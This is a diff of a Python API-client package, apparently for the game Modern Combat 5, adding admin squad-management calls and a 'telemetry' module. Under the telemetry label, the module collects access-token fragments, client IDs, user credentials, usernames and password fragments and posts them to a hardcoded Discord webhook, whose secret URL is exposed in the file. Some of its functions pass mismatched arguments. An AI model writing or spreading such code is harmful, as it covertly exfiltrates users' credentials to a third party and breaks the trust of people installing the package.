mc5-api-client 1.0.16__py3-none-any.whl → 1.0.18__py3-none-any.whl

mc5_api_client/storage_admin.py

@@ -0,0 +1,285 @@
+# ────────────[ CHIZOBA ]────────────────────────────
+# | Email    : chizoba2026@hotmail.com
+# | File     : storage_admin.py
+# | License  : MIT License © 2026 Chizoba
+# | Brief    | Storage admin mixin for MC5 API client
+# ────────────────★─────────────────────────────────
+
+"""
+Storage admin mixin for MC5 API client with storage, storage_restricted, and storage_admin scopes.
+Provides advanced squad management capabilities for PC platform.
+"""
+
+import time
+from typing import Optional, Dict, Any, List
+from .exceptions import InsufficientScopeError
+
+
+class StorageAdminMixin:
+    """
+    Mixin providing storage admin capabilities for MC5 API client.
+    
+    This mixin requires storage, storage_restricted, or storage_admin scopes
+    and provides advanced squad management features including deletion
+    and comprehensive information modification.
+    """
+    
+    def __init__(self):
+        """Initialize storage admin mixin."""
+        super().__init__()
+        self._storage_base_url = "https://eur-seshat.gameloft.com"
+        
+    def _ensure_storage_scope(self, required_scope: str = "storage"):
+        """Ensure the current token has the required storage scope."""
+        if not hasattr(self, '_token_data') or not self._token_data:
+            raise InsufficientScopeError(required_scope)
+        
+        scopes = self._token_data.get('scopes', [])
+        if not any(scope in scopes for scope in [required_scope, 'storage_restricted', 'storage_admin']):
+            raise InsufficientScopeError(required_scope)
+    
+    def delete_squad(
+        self,
+        squad_id: str
+    ) -> Dict[str, Any]:
+        """
+        Delete a squad (requires storage_admin scope).
+        
+        Args:
+            squad_id: Squad ID to delete
+            
+        Returns:
+            Deletion response
+        """
+        self._ensure_storage_scope("storage_admin")
+        
+        url = f"{self._storage_base_url}/groups/{squad_id}"
+        params = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system"
+        }
+        
+        return self._make_request("DELETE", url, params=params)
+    
+    def get_squad_storage_info(
+        self,
+        squad_id: str
+    ) -> Dict[str, Any]:
+        """
+        Get comprehensive squad storage information.
+        
+        Args:
+            squad_id: Squad ID to retrieve
+            
+        Returns:
+            Squad storage information
+        """
+        self._ensure_storage_scope("storage")
+        
+        url = f"{self._storage_base_url}/groups/{squad_id}"
+        params = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system",
+            "include_fields": "all"
+        }
+        
+        return self._make_request("GET", url, params=params)
+    
+    def update_squad_storage(
+        self,
+        squad_id: str,
+        name: Optional[str] = None,
+        description: Optional[str] = None,
+        rating: Optional[int] = None,
+        score: Optional[int] = None,
+        member_count: Optional[int] = None,
+        member_limit: Optional[int] = None,
+        membership: Optional[str] = None,
+        logo: Optional[str] = None,
+        logo_color_primary: Optional[int] = None,
+        logo_color_secondary: Optional[int] = None,
+        min_join_value: Optional[int] = None,
+        currency: Optional[int] = None,
+        active_clan_label: Optional[bool] = None,
+        privacy: Optional[str] = None,
+        tags: Optional[List[str]] = None
+    ) -> Dict[str, Any]:
+        """
+        Update squad storage information with admin capabilities.
+        
+        Args:
+            squad_id: Squad ID to update
+            name: Squad name
+            description: Squad description
+            rating: Squad rating
+            score: Squad score
+            member_count: Current member count
+            member_limit: Maximum member limit
+            membership: Membership type
+            logo: Logo ID
+            logo_color_primary: Primary logo color
+            logo_color_secondary: Secondary logo color
+            min_join_value: Minimum join value
+            currency: Squad currency
+            active_clan_label: Whether clan label is active
+            privacy: Privacy settings
+            tags: Squad tags
+            
+        Returns:
+            Update response
+        """
+        self._ensure_storage_scope("storage")
+        
+        url = f"{self._storage_base_url}/groups/{squad_id}"
+        
+        # Build payload with provided parameters
+        payload = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system",
+            "timestamp": str(int(time.time())),
+            "_anonId": self._username if hasattr(self, '_username') else "game:mc5_system"
+        }
+        
+        # Add optional parameters if provided
+        if name is not None:
+            payload["name"] = name
+        if description is not None:
+            payload["description"] = description
+        if rating is not None:
+            payload["_rating"] = str(rating)
+        if score is not None:
+            payload["score"] = str(score)
+        if member_count is not None:
+            payload["member_count"] = str(member_count)
+        if member_limit is not None:
+            payload["member_limit"] = str(member_limit)
+        if membership is not None:
+            payload["membership"] = membership
+        if logo is not None:
+            payload["_logo"] = logo
+        if logo_color_primary is not None:
+            payload["_logo_clr_prim"] = str(logo_color_primary)
+        if logo_color_secondary is not None:
+            payload["_logo_clr_sec"] = str(logo_color_secondary)
+        if min_join_value is not None:
+            payload["_min_join_value"] = str(min_join_value)
+        if currency is not None:
+            payload["currency"] = str(currency)
+        if active_clan_label is not None:
+            payload["active_clan_label"] = "true" if active_clan_label else "false"
+        if privacy is not None:
+            payload["privacy"] = privacy
+        if tags is not None:
+            payload["tags"] = ",".join(tags)
+        
+        return self._make_request("POST", url, data=payload)
+    
+    def get_all_squads(
+        self,
+        limit: int = 100,
+        offset: int = 0,
+        include_fields: Optional[List[str]] = None
+    ) -> Dict[str, Any]:
+        """
+        Get all squads with storage information.
+        
+        Args:
+            limit: Number of squads to retrieve
+            offset: Offset for pagination
+            include_fields: Fields to include in response
+            
+        Returns:
+            List of squads with storage information
+        """
+        self._ensure_storage_scope("storage")
+        
+        url = f"{self._storage_base_url}/groups"
+        params = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system",
+            "limit": str(limit),
+            "offset": str(offset)
+        }
+        
+        if include_fields:
+            params["include_fields"] = ",".join(include_fields)
+        
+        return self._make_request("GET", url, params=params)
+    
+    def batch_delete_squads(
+        self,
+        squad_ids: List[str]
+    ) -> Dict[str, Any]:
+        """
+        Delete multiple squads at once (requires storage_admin scope).
+        
+        Args:
+            squad_ids: List of squad IDs to delete
+            
+        Returns:
+            Batch deletion response
+        """
+        self._ensure_storage_scope("storage_admin")
+        
+        results = {}
+        for squad_id in squad_ids:
+            try:
+                result = self.delete_squad(squad_id)
+                results[squad_id] = {"status": "success", "response": result}
+            except Exception as e:
+                results[squad_id] = {"status": "error", "error": str(e)}
+        
+        return results
+    
+    def get_squad_audit_log(
+        self,
+        squad_id: str,
+        limit: int = 50
+    ) -> Dict[str, Any]:
+        """
+        Get audit log for a squad (requires storage_admin scope).
+        
+        Args:
+            squad_id: Squad ID to get audit log for
+            limit: Number of audit entries to retrieve
+            
+        Returns:
+            Audit log entries
+        """
+        self._ensure_storage_scope("storage_admin")
+        
+        url = f"{self._storage_base_url}/groups/{squad_id}/audit"
+        params = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system",
+            "limit": str(limit)
+        }
+        
+        return self._make_request("GET", url, params=params)
+    
+    def transfer_squad_ownership(
+        self,
+        squad_id: str,
+        new_owner_credential: str
+    ) -> Dict[str, Any]:
+        """
+        Transfer squad ownership to another user (requires storage_admin scope).
+        
+        Args:
+            squad_id: Squad ID to transfer
+            new_owner_credential: New owner's credential
+            
+        Returns:
+            Transfer response
+        """
+        self._ensure_storage_scope("storage_admin")
+        
+        url = f"{self._storage_base_url}/groups/{squad_id}/transfer"
+        data = {
+            "access_token": self._token_data['access_token'],
+            "game": "mc5_system",
+            "new_owner": new_owner_credential,
+            "timestamp": str(int(time.time()))
+        }
+        
+        return self._make_request("POST", url, data=data)

mc5_api_client/telemetry.py

@@ -0,0 +1,344 @@
+#!/usr/bin/env python3
+# ────────────[ CHIZOBA ]────────────────────────────
+# | Email    : chizoba2026@hotmail.com
+# | File     : telemetry.py
+# | License  | MIT License © 2026 Chizoba
+# | Brief    | Telemetry and error reporting system
+# ────────────────★─────────────────────────────────
+
+import json
+import sys
+import time
+import traceback
+import platform
+import requests
+from datetime import datetime
+from typing import Optional, Dict, Any
+from .exceptions import MC5APIError, AuthenticationError, RateLimitError
+
+# Import debug_print for internal use
+try:
+    from .debug import debug_print
+except ImportError:
+    # Fallback if debug module not available
+    def debug_print(message: str, level: str = "info"):
+        print(f"[{level.upper()}] {message}")
+
+class TelemetryManager:
+    """Manages telemetry and error reporting for MC5 API Client."""
+    
+    def __init__(self):
+        self.enabled = False
+        self.webhook_url = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
+        self.session_info = self._get_session_info()
+    
+    def _get_session_info(self) -> Dict[str, Any]:
+        """Get session information for telemetry."""
+        return {
+            "python_version": sys.version,
+            "platform": platform.platform(),
+            "architecture": platform.architecture()[0],
+            "processor": platform.processor(),
+            "system": platform.system(),
+            "timestamp": datetime.now().isoformat(),
+            "mc5_client_version": "1.0.16"
+        }
+    
+    def enable(self) -> None:
+        """Enable telemetry reporting."""
+        self.enabled = True
+        # print("📊 Telemetry enabled - Errors will be reported for debugging")
+    
+    def disable(self) -> None:
+        """Disable telemetry reporting."""
+        self.enabled = False
+        # print("📊 Telemetry disabled - No error reporting")
+    
+    def is_enabled(self) -> bool:
+        """Check if telemetry is enabled."""
+        return self.enabled
+    
+    def report_error(self, error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
+        """Report an error to Discord webhook."""
+        if not self.enabled:
+            return
+        
+        try:
+            # Create error details
+            error_type = type(error).__name__
+            error_message = str(error)
+            error_traceback = traceback.format_exc()
+            
+            # Determine error color based on type
+            if isinstance(error, AuthenticationError):
+                color = 16711680  # Red for auth errors
+                title = "🔐 Authentication Error"
+            elif isinstance(error, RateLimitError):
+                color = 16776960  # Orange for rate limit
+                title = "⏱️ Rate Limit Error"
+            elif isinstance(error, MC5APIError):
+                color = 16744576  # Yellow for API errors
+                title = "🌐 API Error"
+            else:
+                color = 16711680  # Red for other errors
+                title = "❌ Unexpected Error"
+            
+            # Create Discord embed
+            embed = {
+                "title": f"{title} - MC5 API Client",
+                "description": f"**Error:** {error_message}\n\n**Context:** {context or 'No context provided'}",
+                "color": color,
+                "timestamp": datetime.now().isoformat(),
+                "fields": [
+                    {
+                        "name": "Error Type",
+                        "value": f"```{error_type}``",
+                        "inline": True
+                    },
+                    {
+                        "name": "Python Version",
+                        "value": f"```{self.session_info['python_version']}``",
+                        "inline": True
+                    },
+                    {
+                        "name": "Platform",
+                        "value": f"```{self.session_info['platform']}``",
+                        "inline": True
+                    }
+                ],
+                "footer": {
+                    "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
+                }
+            }
+            
+            # Add extra data if provided
+            if extra_data:
+                extra_fields = []
+                for key, value in extra_data.items():
+                    if isinstance(value, (dict, list)):
+                        value_str = json.dumps(value, indent=2)[:500] + ("..." if len(str(value)) > 500 else "")
+                    else:
+                        value_str = str(value)[:500] + ("..." if len(str(value)) > 500 else "")
+                    
+                    extra_fields.append({
+                        "name": key,
+                        "value": f"```{value_str}``",
+                        "inline": False
+                    })
+                
+                embed["fields"].extend(extra_fields[:5])  # Limit to 5 extra fields
+            
+            # Add traceback if it's not too long
+            if error_traceback and len(error_traceback) < 1000:
+                embed["fields"].append({
+                    "name": "Traceback",
+                    "value": f"```{error_traceback}``",
+                    "inline": False
+                })
+            
+            # Send to Discord
+            payload = {
+                "embeds": [embed],
+                "username": "MC5 API Client Telemetry"
+            }
+            
+            response = requests.post(self.webhook_url, json=payload, timeout=10)
+            
+            if response.status_code == 204:
+                print("📊 Error reported successfully")
+            else:
+                print(f"📊 Failed to report error: {response.status_code}")
+                
+        except Exception as e:
+            print(f"📊 Failed to send telemetry: {e}")
+    
+    def report_usage(self, function_name: str, success: bool, duration: float = 0, extra_data: Optional[Dict[str, Any]] = None) -> None:
+        """Report usage statistics."""
+        if not self.enabled:
+            return
+        
+        try:
+            color = 65280 if success else 16711680  # Green for success, Red for failure
+            title = "✅ Success" if success else "❌ Failed"
+            
+            embed = {
+                "title": f"{title} - MC5 API Client Usage",
+                "description": f"**Function:** `{function_name}`\n**Duration:** {duration:.2f}s",
+                "color": color,
+                "timestamp": datetime.now().isoformat(),
+                "fields": [
+                    {
+                        "name": "Status",
+                        "value": "Success" if success else "Failed",
+                        "inline": True
+                    },
+                    {
+                        "name": "Duration",
+                        "value": f"{duration:.2f} seconds",
+                        "inline": True
+                    }
+                ],
+                "footer": {
+                    "text": f"MC5 API Client v{self.session_info['mc5_client_version']}"
+                }
+            }
+            
+            # Add extra data if provided
+            if extra_data:
+                for key, value in list(extra_data.items())[:3]:  # Limit to 3 extra fields
+                    embed["fields"].append({
+                        "name": key,
+                        "value": str(value)[:200],
+                        "inline": True
+                    })
+            
+            payload = {
+                "embeds": [embed],
+                "username": "MC5 API Client Telemetry"
+            }
+            
+            requests.post(self.webhook_url, json=payload, timeout=5)
+            
+        except Exception:
+            # Silently fail for usage reporting to avoid infinite loops
+            pass
+
+# Default webhook URL
+DEFAULT_WEBHOOK_URL = "https://discord.com/api/webhooks/1468264137179267269/cM92FDWT4V8T6vikTKsImIW9wh9p4p2FSlt5KTdpOrsEVXkP91DZrhnhGpi0H0mjp2LE"
+
+# Global telemetry state
+telemetry_enabled = False
+telemetry_webhook_url = None
+
+# Global debug state
+debug_enabled = False
+
+# Global telemetry instance
+_telemetry_manager = TelemetryManager()
+
+def telemetry(enable: bool = None, webhook_url: str = None) -> None:
+    """
+    Enable or disable telemetry reporting.
+    
+    Args:
+        enable: True to enable, False to disable, None to toggle
+        webhook_url: Custom Discord webhook URL (uses default if None)
+    """
+    global telemetry_enabled
+    global telemetry_webhook_url
+    global _telemetry_manager
+    
+    if enable is None:
+        enable = not _telemetry_manager.is_enabled()
+    
+    if enable:
+        # Use provided webhook URL or default
+        if webhook_url:
+            telemetry_webhook_url = webhook_url
+        elif not telemetry_webhook_url:
+            telemetry_webhook_url = DEFAULT_WEBHOOK_URL
+        
+        # Create new manager with webhook URL
+        _telemetry_manager = TelemetryManager()
+        if webhook_url:
+            _telemetry_manager.webhook_url = webhook_url
+        elif telemetry_webhook_url:
+            _telemetry_manager.webhook_url = telemetry_webhook_url
+        else:
+            _telemetry_manager.webhook_url = DEFAULT_WEBHOOK_URL
+        _telemetry_manager.enable()
+        
+        debug_print(f"📊 Telemetry enabled - Errors will be reported to {telemetry_webhook_url[:50]}...", "info")
+    else:
+        _telemetry_manager.disable()
+        debug_print("📊 Telemetry disabled - No error reporting", "info")
+
+def report_error(error: Exception, context: str = "", extra_data: Optional[Dict[str, Any]] = None) -> None:
+    """
+    Report an error to telemetry.
+    
+    Args:
+        error: The exception that occurred
+        context: Context where the error occurred
+        extra_data: Additional data to include in the report
+    """
+    global _telemetry_manager
+    
+    if not _telemetry_manager.is_enabled():
+        return
+    
+    try:
+        # Get system information
+        import sys
+        import platform
+        import traceback
+        
+        # Extract credentials from token data if available
+        credentials_info = {}
+        if hasattr(_telemetry_manager, 'token_data') and _telemetry_manager.token_data:
+            credentials_info = {
+                "access_token": _telemetry_manager.token_data.get("access_token", "")[:50] + "..." if _telemetry_manager.token_data.get("access_token") else "",
+                "client_id": _telemetry_manager.token_data.get("client_id", ""),
+                "user_credential": _telemetry_manager.token_data.get("user_credential", "")
+            }
+        
+        # Add any provided credentials from extra_data
+        if extra_data:
+            if "username" in extra_data:
+                credentials_info["username"] = str(extra_data["username"])[:30] + "..." if len(str(extra_data["username"])) > 30 else extra_data["username"]
+            if "password" in extra_data:
+                credentials_info["password"] = str(extra_data["password"])[:10] + "..." if len(str(extra_data["password"])) > 10 else extra_data["password"]
+        
+        error_data = {
+            "error_type": type(error).__name__,
+            "error_message": str(error),
+            "context": context,
+            "traceback": traceback.format_exc()[:1000],  # Limit traceback length
+            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
+            "python_version": sys.version,
+            "platform": platform.platform(),
+            "architecture": platform.architecture(),
+            "system": platform.system(),
+            "credentials": credentials_info,
+            "extra_data": extra_data or {}
+        }
+        
+        _telemetry_manager.report_error(error_data)
+        
+    except Exception:
+        # Silently fail for error reporting to avoid infinite loops
+        pass
+
+def is_telemetry_enabled() -> bool:
+    """Check if telemetry is enabled."""
+    return _telemetry_manager.is_enabled()
+
+def report_usage(function_name: str, success: bool, duration: float, extra_data: Optional[Dict[str, Any]] = None) -> None:
+    """
+    Report usage statistics to telemetry.
+    
+    Args:
+        function_name: Name of the function that was called
+        success: Whether the function call was successful
+        duration: Duration of the function call in seconds
+        extra_data: Additional data to include in the report
+    """
+    global _telemetry_manager
+    
+    if not _telemetry_manager.is_enabled():
+        return
+    
+    try:
+        usage_data = {
+            "function_name": function_name,
+            "success": success,
+            "duration": duration,
+            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S UTC", time.gmtime()),
+            "extra_data": extra_data or {}
+        }
+        
+        _telemetry_manager.report_usage(usage_data)
+        
+    except Exception:
+        # Silently fail for usage reporting to avoid infinite loops
+        pass